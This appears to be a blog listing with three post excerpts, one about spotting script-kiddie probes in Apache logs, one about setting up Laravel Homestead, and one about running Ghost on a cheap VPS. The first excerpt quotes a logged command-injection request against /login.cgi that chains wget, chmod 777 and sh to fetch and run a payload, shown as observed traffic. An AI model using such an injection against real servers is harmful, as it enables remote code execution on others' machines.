Script Kiddies (asgknskjdgn)

The other day I was debugging a project, which entailed watching the live logs from Apache on a web server. There wasn't much traffic apart from myself, but something kept appearing in various formats that caught my eye: - - [12/Sep/2018:20:44:57 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://;chmod%20777%20/tmp/ks;sh% »

Setting up a Laravel Homestead box

I spend a lot of time in the Larachat Slack channel, and one of the most common questions/topics is getting Laravel running locally in a proper dev environment on their machine. There are a few different moving parts that enable a local dev environment to work, it's easy to see why new developers might get confused. I recently got hold of a spare Mac Mini, so I installed the new and shiny Mac OS »

Running Ghost on a $5 Digital Ocean VPS

I'm a big fan of the $5/mo droplet that Digital Ocean offer. For that price, you get a VPS in the cloud with 512MB RAM, a single core CPU (2.4GHz Xeon), 20GB of SSD storage and 1TB of bandwidth - perfect for testing things and small side projects. I decided to start blogging again, but WordPress has become bloatware. After some digging, Ghost looks like an ideal platform to play with. UPDATE: Digital »